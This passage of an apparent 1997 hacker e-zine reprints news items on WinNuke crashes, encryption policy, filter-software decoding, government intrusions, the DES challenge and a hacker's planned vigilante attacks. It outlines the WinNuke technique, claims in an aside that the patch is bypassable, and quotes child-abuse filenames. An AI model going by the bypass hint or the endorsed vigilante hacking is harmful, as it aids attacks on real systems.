|||
|
|
|||
|
The current Windows 95 patch--without protection for Mac and Linux
|
|||
|
attacks--can be downloaded for free from Microsoft's Web site.
|
|||
|
|
|||
|
This year, Microsoft programmers have been forced to create a medicine
|
|||
|
chest of software remedies to fix potential security risks in everything
|
|||
|
from the Internet Explorer browser to PowerPoint to Windows itself. Some
|
|||
|
security experts believe the company is struggling with deep-rooted
|
|||
|
vulnerabilities in its OS and Internet technologies.
|
|||
|
|
|||
|
It's clear that the Internet has made it much easier for enterprising
|
|||
|
bug-finders to broadcast their discoveries to the press and public over
|
|||
|
email lists and Web pages. This has put intense pressure on
|
|||
|
Microsoft's engineering groups to quickly come up with patches.
|
|||
|
|
|||
|
Other companies, such as Sun Microsystems, have also had to release a
|
|||
|
number of patches for their technologies, but Microsoft has been
|
|||
|
especially hard-hit.
|
|||
|
|
|||
|
A number of security experts believe that Microsoft would have had a
|
|||
|
hard time avoiding these security problems.
|
|||
|
|
|||
|
"As a professional programmer, I have a real hard time saying that
|
|||
|
Microsoft should have seen this coming," said David LeBlanc, senior
|
|||
|
Windows NT security manager at Internet Security Systems, a developer of
|
|||
|
security software. "I get hit with this stuff too. With 20/20 hindsight,
|
|||
|
it's really obvious to see what we did wrong. Trying to take into
|
|||
|
account all the possibilities that can occur beforehand is not
|
|||
|
realistic."
|
|||
|
|
|||
|
In order to exploit the latest vulnerability, Web sites must send a
|
|||
|
special TCP/IP command known as "out of band data" to port 139 of a
|
|||
|
computer running Windows 95 or NT. Hackers could also target users' PCs
|
|||
|
by using one of several programs for Windows, Unix, and Macintosh now
|
|||
|
circulating on the Net. With one program, called WinNuke, a hacker
|
|||
|
simply types a user's Internet protocol address and then clicks the
|
|||
|
program's "nuke" button in order to crash a PC over the Net.
|
|||
|
|
|||
|
The company's original patch for Windows NT prevents attacks from Unix
|
|||
|
and other Windows computers. But because of a difference in the way
|
|||
|
Mac and Linux computers handle the TCP protocol, Microsoft's patch
|
|||
|
didn't squelch attacks from those operating systems.
|
|||
|
|
|||
|
[Bullshit meter: ****- - In actuality, Microsoft just decided to
|
|||
|
filter hits on that port looking for a keyword included in the
|
|||
|
first 'winuke' script. By changing that word, 95 was once again
|
|||
|
vulnerable to these attacks. Good work Microsoft.]
|
|||
|
|
|||
|
A number of users have sent email to CNET's NEWS.COM complaining that
|
|||
|
their computers were repeatedly crashed as they chatted in Internet
|
|||
|
relay chat groups. When users are nuked by a hacker, their computer
|
|||
|
screens often display an error message loosely known as the "blue screen
|
|||
|
of death."
|
|||
|
|
|||
|
"The worst part about it is that the delinquents playing with this toy
|
|||
|
really like to play with it and keep on doing it," said Martin A.
|
|||
|
Childs, a law student at Louisiana State University in Baton Rouge. "The
|
|||
|
first time I got hit, I logged on six times before I managed to figure
|
|||
|
out what was going on."
|
|||
|
|
|||
|
The original patches for Windows NT versions 4.0 and 3.51 are available
|
|||
|
on Microsoft's Web site. Last Thursday, the company also posted a
|
|||
|
collection of software patches, called service pack 3, that contains the
|
|||
|
NT out-of-band fix.
|
|||
|
|
|||
|
The out-of-band data attacks also affect users of Windows 3.11, but a
|
|||
|
company spokeswoman said that Microsoft will not prepare a fix for that
|
|||
|
platform unless users request one.
|
|||
|
|
|||
|
0x5>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: BSA slams DTI's Encryption Plans
|
|||
|
Source: The IT Newspaper
|
|||
|
Author: unknown
|
|||
|
Date: 26th June 1997
|
|||
|
|
|||
|
|
|||
|
Government Proposals on encryption are 'unworkable, unfar, unweildy,
|
|||
|
un-needed and frankly unacceptable', according to the British Software
|
|||
|
Alliance (BSA) and the British Interactive Multimedia Association (Bima),
|
|||
|
writes Tim Stammers.
|
|||
|
|
|||
|
In a joint statement, the organizations claimed that encryption
|
|||
|
proposals from the DTI could 'cripple the growth of electronic comerce in
|
|||
|
the UK'.
|
|||
|
|
|||
|
Tod Cohen, lawyer at Covington & Berling, council to the BSA, said:
|
|||
|
'These proposals could be a disaster for both users and vendors'.
|
|||
|
|
|||
|
The DTI's plan calls for UK organisations which want to encrypt email
|
|||
|
and data to supply copies of their encryption keys to third parties.
|
|||
|
|
|||
|
Government agencies will then be able to demand access to copies of the
|
|||
|
keys. The DTI says the scheme aims to prevent criminal use of encryption
|
|||
|
by drug dealers and terrorists.
|
|||
|
|
|||
|
But the BSA and BIMA claim that the proposed tystem will create a
|
|||
|
massive bureaucratic structure will criminals will ignore.
|
|||
|
|
|||
|
'The sheer number of electronic communications could easily overwhelm
|
|||
|
the system, without inreasing security or safety within the UK', their
|
|||
|
statement said.
|
|||
|
|
|||
|
Sean Nye, executive member of Bima, said : 'In an age where personal
|
|||
|
data and information is increasingly threatened with unwarranted
|
|||
|
exposure, the DTI's proposals are a major step backwards'.
|
|||
|
|
|||
|
Opposition to the so-called key escrow system suggested by the DTI has
|
|||
|
been widespread. Public opponents include Brian Gladman, former deputy
|
|||
|
director at Nato's labratories.
|
|||
|
|
|||
|
The proposals where formulated under the last government, and a
|
|||
|
decision on their future is expected next month.
|
|||
|
|
|||
|
The US government is easing encryption export controls for software
|
|||
|
companies which are prepared to back key escrow, but has met Senate
|
|||
|
opposition to its plans.
|
|||
|
|
|||
|
0x6>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Teen bypasses blocking software
|
|||
|
Sounce: www.news.com
|
|||
|
Author: Courtney Macavinta
|
|||
|
Date: April 22, 1997, 5:30 p.m. PT
|
|||
|
|
|||
|
A teenager is using his Web site to help others bypass one brand
|
|||
|
of filtering software intended to protect minors from illicit Net
|
|||
|
material.
|
|||
|
|
|||
|
Using the "CYBERsitter codebreaker" from 18-year-old Bennett
|
|||
|
Haselton, surfers can now decode the list of all Net sites
|
|||
|
blocked by Solid Oak's Cybersitter software.
|
|||
|
|
|||
|
Haselton--the founder of a teen organization called Peacefire
|
|||
|
that fights Net censorship--contends that the software violates
|
|||
|
free speech rights for adults and teen-agers. He claims the
|
|||
|
software is also falsely advertised because it promises parents
|
|||
|
the "ability to limit their children's access to objectionable
|
|||
|
material on the Internet," but also blocks other content on the
|
|||
|
Net.
|
|||
|
|
|||
|
Haselton's campaign to get around Cybersitter has Solid Oak's
|
|||
|
president seeing red.
|
|||
|
|
|||
|
Solid Oak denies Haselton's charges and is investigating the
|
|||
|
legality of the code-breaking program. "He doesn't know anything,
|
|||
|
and he's just a kid," Solid Oak President Brian Milburn said
|
|||
|
today. "We have never misrepresented our product--ever."
|
|||
|
|
|||
|
Haselton's Cybersitter codebreaker can be used to crack a coded
|
|||
|
list of the sites that CYBERsitter blocks. The list is
|
|||
|
distributed to subscribers to notify users what sites are being
|
|||
|
blocked. Subscribers pay $39.95 for the software.
|
|||
|
|
|||
|
The software blocks sites containing any words describing
|
|||
|
genitals, sex, nudity, porn, bombs, guns, suicide, racial slurs
|
|||
|
and other violent, sexual and derogatory terms.
|
|||
|
|
|||
|
The list also blocks an array of sites about gay and lesbian
|
|||
|
issues, including PlanetOut and the International Gay and Lesbian
|
|||
|
Human Rights Commission . Cybersitter even blocks the National
|
|||
|
Organization for Women because it contains information about
|
|||
|
lesbianism, Solid Oak stated. "The NOW site has a bunch of
|
|||
|
lesbian stuff on it, and our users don't want it," said Milburn.
|
|||
|
|
|||
|
The software also filters any site that contains the phrase
|
|||
|
"Don't buy CYBERsitter" as well as Haselton's own site and any
|
|||
|
reference to his name.
|
|||
|
|
|||
|
Milburn says Haselton's campaign is hurting the product's
|
|||
|
marketability and hinted that the company will stop him, but
|
|||
|
wouldn't say exactly how.
|
|||
|
|
|||
|
"We have users who think they purchased a secure product. This is
|
|||
|
costing us considerably," Milburn said. "But we're not going to
|
|||
|
let Bennett break the law."
|
|||
|
|
|||
|
He did point out that Haselton's program to decode the software
|
|||
|
may violate its licensing agreement, which states: "Unauthorized
|
|||
|
reverse engineering of the Software, whether for educational,
|
|||
|
fair use, or other reason is expressly forbidden. Unauthorized
|
|||
|
disclosure of CYBERsitter operational details, hacks, work around
|
|||
|
methods, blocked sites, and blocked words or phrases are
|
|||
|
expressly prohibited."
|
|||
|
|
|||
|
Haselton is undaunted by the suggestion of legal reprecussions.
|
|||
|
"I've talked to a lawyer who offered to represent me in the event
|
|||
|
that Cybersitter goes after me," he added.
|
|||
|
|
|||
|
Haselton, a junior at Vanderbuilt University, argues that the
|
|||
|
software doesn't protect kids from smut, but just keeps them from
|
|||
|
learning new ideas.
|
|||
|
|
|||
|
"Blocking software is not the solution to all of our problems.
|
|||
|
What's dangerous is not protecting [teenagers' free] speech on
|
|||
|
the Net as well," he said. "This is the age, when you form your
|
|||
|
opinions about social issues, human rights, and religion. We need
|
|||
|
to keep free ideas on the Net for people under 18."
|
|||
|
|
|||
|
Haselton's organization is also a plaintiff in a lawsuit being
|
|||
|
argued today in New York, the American Library Association vs.
|
|||
|
Governor George Pataki. The case was filed to strike down a state
|
|||
|
law similar to the Communications Decency Act that prohibits
|
|||
|
making indecent material available to minors over the Net.
|
|||
|
|
|||
|
0x7>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: The Power to Moderate is the Power to Censor
|
|||
|
Source: unknown
|
|||
|
Author: Paul Kneisel
|
|||
|
|
|||
|
Some 200+ new news groups have just been created on the UseNet part of the
|
|||
|
Internet. They are grouped under a new <gov.*> hierarchy.
|
|||
|
|
|||
|
<gov.*> promises to "take democracy into cyberspace," according to the
|
|||
|
press release from the National Science Foundation.[1] "The U.S.
|
|||
|
government," said U.S. Vice President Al Gore of the GovNews project, "is
|
|||
|
taking a leadership role in providing technology that could change the face
|
|||
|
of democracy around the world."[2]
|
|||
|
|
|||
|
The GovNews project repeatedly stresses how it will support and promote
|
|||
|
feedback between governments and citizens. "Millions of people will now be
|
|||
|
able to follow and comment on government activity in selected areas of
|
|||
|
interest...," the release stated, promising "a wide, cost-effective
|
|||
|
electronic dissemination and discussion...."
|
|||
|
|
|||
|
Preston Rich, the National Science Foundation's leader of the International
|
|||
|
GovNews Project, described GovNews as "newsgroups logically organized by
|
|||
|
topic from privatization, procurements and emergency alerts to toxic waste
|
|||
|
and marine resources and include[s] the capability to discuss such
|
|||
|
information."[1]
|
|||
|
|
|||
|
The vast majority of the new <gov.*> groups are moderated.
|
|||
|
|
|||
|
The idea of the moderated news
|
|||
|
group is increasingly accepted on UseNet. Off-topic posts, flames, and spam
|
|||
|
have made many non-moderated groups effectively unreadable by most users.
|
|||
|
Moderated groups are one effective way around these problems. New groups
|
|||
|
created in the non-<gov.*> "Big 8" UseNet hierarchy have formal charters
|
|||
|
defining the group. If the group is moderated then the powers, identity,
|
|||
|
and qualifications of the moderators are also listed. Unmoderated groups
|
|||
|
might be likened to informal free-for-all debates where there is no check
|
|||
|
on who can participate or on the form or content of what is said. Moderated
|
|||
|
groups are far closer to a specially-defined meeting of citizens with a
|
|||
|
formal Chair, empowered to declare certain topics off-limits for
|
|||
|
discussion, and to call unruly participants to order.
|
|||
|
|
|||
|
An unmoderated UseNet group dedicated to baking cookies might be flooded
|
|||
|
with posts advertising bunion cures, reports of flying saucers sighted over
|
|||
|
Buckingham Palace, or articles denouncing Hillary Clinton as a Satanist. A
|
|||
|
moderator for the group has the power to block all of these posts, ensuring
|
|||
|
that they are not sent to the UseNet feed and do not appear among the
|
|||
|
on-topic discussion of cookies.
|
|||
|
|
|||
|
Certainly some moderators on UseNet groups abuse their powers (as do some
|
|||
|
Chairs at non-Internet meetings.) But reports of such abuse are relatively
|
|||
|
rare given the number of moderated groups. And, of course, many complaints
|
|||
|
come from the proverbial "net.kooks" or those who oppose moderation in
|
|||
|
general.
|
|||
|
|
|||
|
Moderators in the "Big 8" UseNet hierarchy are "civilians," not government
|
|||
|
employees moderating government-related groups while collecting government
|
|||
|
paychecks.
|
|||
|
|
|||
|
The <gov.*> hierarchy inferentially changes this. I write "inferentially"
|
|||
|
because the charters, names and qualifications of the moderators in the
|
|||
|
200+ groups has not been formally announced. Nor do routine queries to
|
|||
|
members of the <gov.*> leading Hierarchial Coordinating Committee result in
|
|||
|
such detailed information.
|
|||
|
|
|||
|
UseNet is not the entire Internet. Net-based technology like the World Wide
|
|||
|
Web and the "File Transfer Protocol" or FTP are designed for the one-way
|
|||
|
transmission of data. Few object to the _Congressional Record_ on-line or
|
|||
|
crop reports posted by the U.S. Department of Agriculture available on the
|
|||
|
Web or via FTP. But the news groups of UseNet are designed for two-way
|
|||
|
discussions, not spam-like one-way info-floods of data carefully selected
|
|||
|
by government bureaucrats.
|
|||
|
|
|||
|
That creates an enormous problem when government employees moderate the
|
|||
|
discussion, regardless of how well, appropriately, or fairly the moderation
|
|||
|
is conducted.
|
|||
|
|
|||
|
For government moderation of any discussion is censorship and it is wrong.
|
|||
|
|
|||
|
Initial reports also indicate that most of the <gov.*> groups will be "robo
|
|||
|
[t]-moderated." In other words, specialized software programs will handle
|
|||
|
the bulk of the moderator's tasks. Robo-moderation, however, alters
|
|||
|
nothing. A good robo program may catch and eliminate 99% of the spam sent
|
|||
|
to the group or identify notorious flame-artists. But the power to
|
|||
|
robo-moderate remains the power to censor; the power to select one
|
|||
|
robo-moderator is the power to select another; the power to automatically
|
|||
|
remove bunion ads is simultaneously the power to eliminate all posts from
|
|||
|
Iraq in a political discussion or any message containing the string
|
|||
|
"Whitewater."
|
|||
|
|
|||
|
In short, moderation on <gov.*> groups by government employees remains
|
|||
|
censorship whether conducted by software or humans, whether posts are
|
|||
|
approriately banned or the moderation places severe limits on free
|
|||
|
political speech. *Any* limitation of posts from any citizen by any
|
|||
|
government employee is censorship.
|
|||
|
|
|||
|
It is also forbidden by law.
|
|||
|
|
|||
|
FOOTNOTES
|
|||
|
[1] "GOVNEWS: N[ational] S[cience] F[oundation] Press Release for GovNews,"
|
|||
|
17 Mar 1997, <http://www.govnews.org/govnews/info/press.html>, accessed 21
|
|||
|
Mar 1997.
|
|||
|
|
|||
|
[2] One wonders what technology Gore believes GovNews is providing.
|
|||
|
Certainly neither the Internet or UseNet is part of that technology for
|
|||
|
both existed long before GovNews.^Z
|
|||
|
|
|||
|
0x8>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: AOL Users in Britain Warned of Surveillance
|
|||
|
Source: unknown
|
|||
|
Author: CHristopher Johnston
|
|||
|
|
|||
|
LONDON - Subscribers logging onto AOL Ltd. in Britain this week
|
|||
|
were greeted with news that the Internet-service provider was
|
|||
|
imposing a tough new contract giving it wide latitude to disclose
|
|||
|
subscribers' private E-mail and on-line activities to law
|
|||
|
enforcement and security agencies.
|
|||
|
|
|||
|
The new contract also requires users to comply with both British
|
|||
|
and U.S. export laws governing encryption. AOL Ltd. is a
|
|||
|
subsidiary of AOL Europe, which is a joint venture between
|
|||
|
America Online Inc. of the United States and Germany's
|
|||
|
Bertelsmann GmbH.
|
|||
|
|
|||
|
The contract notes in part that AOL ''reserves the right to
|
|||
|
monitor or disclose the contents of private communication over
|
|||
|
AOL and your data to the extent permitted or required by law.''
|
|||
|
|
|||
|
''It's bad news,'' said Marc Rotenberg, director of the
|
|||
|
Electronic Privacy Information Center, a Washington-based civil
|
|||
|
liberties organization. ''I think AOL is putting up a red flag
|
|||
|
that their commitment to privacy is on the decline. It puts
|
|||
|
their users on notice that to the extent permitted by law, they
|
|||
|
can do anything they want.''
|
|||
|
|
|||
|
The contract also prohibits subscribers from posting or
|
|||
|
transmitting any content that is ''unlawful, harmful,
|
|||
|
threatening, abusive, harassing, defamatory, vulgar, obscene,
|
|||
|
seditious, blasphemous, hateful, racially, ethnically or
|
|||
|
otherwise objectionable.''
|
|||
|
|
|||
|
AOL and its competitors called the move part of a trend to
|
|||
|
protect on-line service providers from suits by users in case
|
|||
|
they are required to disclose subscribers' activities to law
|
|||
|
enforcement agencies.
|
|||
|
|
|||
|
The contract also beefed up the legal wording relating to
|
|||
|
sensitive content such as pornography, and prohibiting the
|
|||
|
maintenance of links to obscene Web sites.
|
|||
|
|
|||
|
The updated contract is also the first to inform subscribers that
|
|||
|
they are required to comply with both British and U.S. export
|
|||
|
laws governing encryption, or coding, a hot topic of debate
|
|||
|
recently between software publishers and security agencies.
|
|||
|
|
|||
|
AOL Europe will provide similar contracts, which vary according
|
|||
|
to local law in each of the seven European countries in which the
|
|||
|
network operates.
|
|||
|
|
|||
|
AOL executives denied any government pressure in updating the
|
|||
|
contract.
|
|||
|
|
|||
|
0x9>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Georgia Expands the "Instruments of Crime"
|
|||
|
Source: fight-censorship@vorlon.mit.edu
|
|||
|
|
|||
|
In Georgia it is a crime, punishable by $30K and four years to use in
|
|||
|
furtherance of a crime:
|
|||
|
|
|||
|
* a telephone
|
|||
|
* a fax machine
|
|||
|
* a beeper
|
|||
|
* email
|
|||
|
|
|||
|
The actual use of the law, I think, is that when a person is selling drugs
|
|||
|
and either is in possession of a beeper, or admits to using the phone to
|
|||
|
facilitate a meeting, he is charged with the additional felony of using a
|
|||
|
phone. This allows for selective enforcement of additional penalties for
|
|||
|
some people.
|
|||
|
|
|||
|
O.C.G.A. 16-13-32.3.
|
|||
|
|
|||
|
(a) It shall be unlawful for any person knowingly or intentionally to
|
|||
|
use any communication facility in committing or in causing or
|
|||
|
facilitating the commission of any act or acts constituting a felony
|
|||
|
under this chapter. Each separate use of a communication facility
|
|||
|
shall be a separate offense under this Code section. For purposes of
|
|||
|
this Code section, the term "communication facility" means any and all
|
|||
|
public and private instrumentalities used or useful in the
|
|||
|
transmission of writing, signs, signals, pictures, or sounds of all
|
|||
|
kinds and includes mail, telephone, wire, radio, computer or computer
|
|||
|
network, and all other means of communication.
|
|||
|
|
|||
|
(b) Any person who violates subsection (a) of this Code section shall
|
|||
|
be punished by a fine of not more than $30,000.00 or by imprisonment
|
|||
|
for not less than one nor more than four years, or both.
|
|||
|
|
|||
|
0xa>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: NASA Nabs Teen Computer Hacker
|
|||
|
Source: Associated Press
|
|||
|
Author: unknown
|
|||
|
Date: Monday, June 2, 1997
|
|||
|
|
|||
|
WASHINGTON (AP) - A Delaware teen-ager who hacked his way into a
|
|||
|
NASA web site on the Internet and left a message berating U.S.
|
|||
|
officials is being investigated by federal authorities, agency
|
|||
|
officials said Monday.
|
|||
|
|
|||
|
NASA Inspector General Robert Gross cited the incident - the most
|
|||
|
recent example of a computer invasion of a NASA web site - as an
|
|||
|
example of how the space agency has become ``vulnerable via the
|
|||
|
Internet.''
|
|||
|
|
|||
|
"We live in an information environment vastly different than 20
|
|||
|
years ago," Gross said in a written statement. "Hackers are
|
|||
|
increasing in number and in frequency of attack."
|
|||
|
|
|||
|
In the latest case, the Delaware teen, whose name, age and
|
|||
|
hometown were not released, altered the Internet web site for the
|
|||
|
Marshall Space Flight Center in Huntsville, Ala., according to
|
|||
|
the statement from the computer crimes division of NASA's
|
|||
|
Inspector General Office.
|
|||
|
|
|||
|
"We own you. Oh, what a tangled web we weave, when we practice to
|
|||
|
deceive," the teen's message said, adding that the government
|
|||
|
systems administrators who manage the site were "extremely
|
|||
|
stupid."
|
|||
|
|
|||
|
The message also encouraged sympathizers of Kevin Mitnick, a
|
|||
|
notorious computer hacker, to respond to the site. Mitnick was
|
|||
|
indicted last year on charges stemming from a multimillion-dollar
|
|||
|
crime wave in cyberspace.
|
|||
|
|
|||
|
The altered message was noticed by the computer security team in
|
|||
|
Huntsville but the NASA statement did not mention how long the
|
|||
|
message was available to the public or exactly when it was
|
|||
|
discovered. NASA officials weren't made available to answer
|
|||
|
questions about the event.
|
|||
|
|
|||
|
In the statement, NASA called the teen's hacking "a cracking
|
|||
|
spree" and said it was stopped May 26 when his personal computer
|
|||
|
was seized.
|
|||
|
|
|||
|
Prosecutors from the U.S. Attorney's office in Delaware and
|
|||
|
Alabama are handling the case with NASA's computer crimes
|
|||
|
division.
|
|||
|
|
|||
|
Last March, cyberspace invaders made their way into another NASA
|
|||
|
web site and threatened an electronic terrorist attack against
|
|||
|
corporate America. The group, which called itself ``H4G1S'' in
|
|||
|
one message and ``HAGIS'' in another, also called for some
|
|||
|
well-known hackers to be released from jail.
|
|||
|
|
|||
|
Engineers at the Goddard Space Flight Center in Greenbelt, Md.,
|
|||
|
quickly noticed the change and took the page off the Internet
|
|||
|
within 30 minutes. NASA officials said the agency installed
|
|||
|
electronic security measures designed to prevent a recurrence.
|
|||
|
|
|||
|
0xb>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Agriculture Dept. Web Site Closed after Security Breach
|
|||
|
Source: Reuter
|
|||
|
Author: unknown
|
|||
|
|
|||
|
WASHINGTON (June 11, 1997 00:08 a.m. EDT) - The U.S. Agriculture
|
|||
|
Department's Foreign Agricultural Service shut down access to its
|
|||
|
internet home page Tuesday after a major security breach was
|
|||
|
discovered, a department aide said.
|
|||
|
|
|||
|
"It's a big, huge problem," Ed Desrosiers, a computer specialist
|
|||
|
in USDA's Farm Service Agency, told Reuters. "We can't guarantee
|
|||
|
anything's clean anymore."
|
|||
|
|
|||
|
Someone broke into system and began "sending out a lot of
|
|||
|
messages" to other "machines" on the internet, Desrosiers said.
|
|||
|
|
|||
|
The volume of traffic was so great, "we were taking down machines"
|
|||
|
and began receiving complaints, he said.
|
|||
|
|
|||
|
"It's not worth our time to try to track down" the culprit,
|
|||
|
Desrosiers said. "Instead, we're just going to massively increase
|
|||
|
security."
|
|||
|
|
|||
|
A popular feature on the FAS home page is the search function for
|
|||
|
"attache reports," which are filed by overseas personnel and
|
|||
|
provide assessments on crop conditions around the world. Although
|
|||
|
not official data, the reports provide key information that goes
|
|||
|
into USDA's monthly world supply-and-demand forecasts.
|
|||
|
|
|||
|
It could be next week before the page is open to outside users
|
|||
|
again, Desrosiers said.
|
|||
|
|
|||
|
0xc>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Hackers Smash US Government Encryption Standard
|
|||
|
Source: fight-censorship@vorlon.mit.edu
|
|||
|
|
|||
|
Oakland, California (June 18, 1997)-The 56-bit DES encryption
|
|||
|
standard, long claimed "adequate" by the U.S. Government, was
|
|||
|
shattered yesterday using an ordinary Pentium personal computer
|
|||
|
operated by Michael K. Sanders, an employee of iNetZ, a Salt Lake
|
|||
|
City, Utah-based online commerce provider. Sanders was part of a
|
|||
|
loosely organized group of computer users responding to the "RSA
|
|||
|
$10,000 DES Challenge." The code-breaking group distributed computer
|
|||
|
software over the Internet for harnessing idle moments of computers
|
|||
|
around the world to perform a 'brute force' attack on the encrypted
|
|||
|
data.
|
|||
|
|
|||
|
"That DES can be broken so quickly should send a chill through the
|
|||
|
heart of anyone relying on it for secure communications," said Sameer
|
|||
|
Parekh, one of the group's participants and president of C2Net
|
|||
|
Software, an Internet encryption provider headquartered in Oakland,
|
|||
|
California (http://www.c2.net/). "Unfortunately, most people today
|
|||
|
using the Internet assume the browser software is performing secure
|
|||
|
communications when an image of a lock or a key appears on the
|
|||
|
screen. Obviously, that is not true when the encryption scheme is
|
|||
|
56-bit DES," he said.
|
|||
|
|
|||
|
INetZ vice president Jon Gay said "We hope that this will encourage
|
|||
|
people to demand the highest available encryption security, such as
|
|||
|
the 128-bit security provided by C2Net's Stronghold product, rather
|
|||
|
than the weak 56-bit ciphers used in many other platforms."
|
|||
|
|
|||
|
Many browser programs have been crippled to use an even weaker, 40-bit
|
|||
|
cipher, because that is the maximum encryption level the
|
|||
|
U.S. government has approved for export. "People located within the US
|
|||
|
can obtain more secure browser software, but that usually involves
|
|||
|
submitting an affidavit of eligibility, which many people have not
|
|||
|
done," said Parekh. "Strong encryption is not allowed to be exported
|
|||
|
from the U.S., making it harder for people and businesses in
|
|||
|
international locations to communicate securely," he explained.
|
|||
|
|
|||
|
According to computer security expert Ian Goldberg, "This effort
|
|||
|
emphasizes that security systems based on 56-bit DES or
|
|||
|
"export-quality" cryptography are out-of-date, and should be phased
|
|||
|
out. Certainly no new systems should be designed with such weak
|
|||
|
encryption.'' Goldberg is a member of the University of California at
|
|||
|
Berkeley's ISAAC group, which discovered a serious security flaw in
|
|||
|
the popular Netscape Navigator web browser software.
|
|||
|
|
|||
|
The 56-bit DES cipher was broken in 5 months, significantly faster
|
|||
|
than the hundreds of years thought to be required when DES was adopted
|
|||
|
as a national standard in 1977. The weakness of DES can be traced to
|
|||
|
its "key length," the number of binary digits (or "bits") used in its
|
|||
|
encryption algorithm. "Export grade" 40-bit encryption schemes can be
|
|||
|
broken in less than an hour, presenting serious security risks for
|
|||
|
companies seeking to protect sensitive information, especially those
|
|||
|
whose competitors might receive code-breaking assistance from foreign
|
|||
|
governments.
|
|||
|
|
|||
|
According to Parekh, today's common desktop computers are tremendously
|
|||
|
more powerful than any computer that existed when DES was
|
|||
|
created. "Using inexpensive (under $1000) computers, the group was
|
|||
|
able to crack DES in a very short time," he noted. "Anyone with the
|
|||
|
resources and motivation to employ modern "massively parallel"
|
|||
|
supercomputers for the task can break 56-bit DES ciphers even faster,
|
|||
|
and those types of advanced technologies will soon be present in
|
|||
|
common desktop systems, providing the keys to DES to virtually
|
|||
|
everyone in just a few more years."
|
|||
|
|
|||
|
56-bit DES uses a 56-bit key, but most security experts today consider
|
|||
|
a minimum key length of 128 bits to be necessary for secure
|
|||
|
encryption. Mathematically, breaking a 56-bit cipher requires just
|
|||
|
65,000 times more work than breaking a 40-bit cipher. Breaking a
|
|||
|
128-bit cipher requires 4.7 trillion billion times as much work as one
|
|||
|
using 56 bits, providing considerable protection against brute-force
|
|||
|
attacks and technical progress.
|
|||
|
|
|||
|
C2Net is the leading worldwide provider of uncompromised Internet
|
|||
|
security software. C2Net's encryption products are developed entirely
|
|||
|
outside the United States, allowing the firm to offer full-strength
|
|||
|
cryptography solutions for international communications and
|
|||
|
commerce. "Our products offer the highest levels of security available
|
|||
|
today. We refuse to sell weak products that might provide a false
|
|||
|
sense of security and create easy targets for foreign governments,
|
|||
|
criminals, and bored college students," said Parekh. "We also oppose
|
|||
|
so-called "key escrow" plans that would put everyone's cryptography
|
|||
|
keys in a few centralized locations where they can be stolen and sold
|
|||
|
to the highest bidder," he added. C2Net's products include the
|
|||
|
Stronghold secure web server and SafePassage Web Proxy, an enhancement
|
|||
|
that adds full-strength encryption to any security-crippled "export
|
|||
|
grade" web browser software.
|
|||
|
|
|||
|
0xd>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Hacker May Stolen JonBenet computer Documents
|
|||
|
Source: Associated Press
|
|||
|
Author: Jennifer Mears
|
|||
|
|
|||
|
BOULDER, Colo. (June 13, 1997 07:38 a.m. EDT) -- A computer hacker has
|
|||
|
infiltrated the system set aside for authorities investigating the slaying
|
|||
|
of JonBenet Ramsey, the latest blow to a heavily criticized inquiry.
|
|||
|
|
|||
|
[...despite the computer not being online or connected to other computers..]
|
|||
|
|
|||
|
Boulder police spokeswoman Leslie Aaholm said the computer was "hacked"
|
|||
|
sometime early Saturday. The incident was announced by police Thursday.
|
|||
|
|
|||
|
"We don't believe anything has been lost, but we don't know what, if
|
|||
|
anything, has been copied," said Detective John Eller, who is leading the
|
|||
|
investigation into the slaying of the 6-year-old girl nearly six months ago.
|
|||
|
|
|||
|
The computer is in a room at the district attorney's office that police
|
|||
|
share with the prosecutor's investigators. The room apparently had not been
|
|||
|
broken into. Computer experts with the Colorado Bureau of Investigations
|
|||
|
were examining equipment to determine what had been done.
|
|||
|
|
|||
|
[Bullshit. It was later found out that the machine was not hacked at all.]
|
|||
|
|
|||
|
0xe>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Hacker Vows 'Terror' for Pornographers
|
|||
|
Source: Wired
|
|||
|
Author: Steve Silberman
|
|||
|
|
|||
|
After 17 years in the hacker underground, Christian Valor - well known
|
|||
|
among old-school hackers and phone phreaks as "Se7en" - was convinced
|
|||
|
that most of what gets written in the papers about computers and hacking
|
|||
|
is sensationalistic jive. For years, Valor says, he sneered at reports
|
|||
|
of the incidence of child pornography on the Net as
|
|||
|
"exaggerated/over-hyped/fearmongered/bullshit."
|
|||
|
|
|||
|
Now making his living as a lecturer on computer security, Se7en claims
|
|||
|
he combed the Net for child pornography for eight weeks last year
|
|||
|
without finding a single image.
|
|||
|
|
|||
|
That changed a couple of weeks ago, he says, when a JPEG mailed by an
|
|||
|
anonymous prankster sent him on an odyssey through a different kind of
|
|||
|
underground: IRC chat rooms with names like #littlegirlsex, ftp
|
|||
|
directories crammed with filenames like 6yoanal.jpg and 8&dad.jpg, and
|
|||
|
newsgroups like alt.binaries.pictures.erotica.pre-teen. The anonymous
|
|||
|
file, he says, contained a "very graphic" image of a girl "no older
|
|||
|
than 4 years old."
|
|||
|
|
|||
|
On 8 June, Se7en vowed on a hacker's mailing list to deliver a dose of
|
|||
|
"genuine hacker terror" to those who upload and distribute such images
|
|||
|
on the Net. The debate over his methods has stirred up tough questions
|
|||
|
among his peers about civil liberties, property rights, and the ethics
|
|||
|
of vigilante justice.
|
|||
|
|
|||
|
A declaration of war
|
|||
|
|
|||
|
What Se7en tapped into, he says, was a "very paranoid" network of
|
|||
|
traders of preteen erotica. In his declaration of "public war" -
|
|||
|
posted to a mailing list devoted to an annual hacker's convention
|
|||
|
called DefCon - Se7en explains that the protocol on most child-porn
|
|||
|
servers is to upload selections from your own stash, in exchange for
|
|||
|
credits for more images.
|
|||
|
|
|||
|
What he saw on those servers made him physically sick, he says. "For
|
|||
|
someone who took a virtual tour of the kiddie-porn world for only one
|
|||
|
day," he writes, "I had the opportunity to fully max out an Iomega
|
|||
|
100-MB Zip disc."
|
|||
|
|
|||
|
Se7en's plan to "eradicate" child-porn traders from the Net is
|
|||
|
"advocating malicious, destructive hacking against these people." He
|
|||
|
has enlisted the expertise of two fellow hackers for the first wave of
|
|||
|
attacks, which are under way.
|
|||
|
|
|||
|
Se7en feels confident that legal authorities will look the other way
|
|||
|
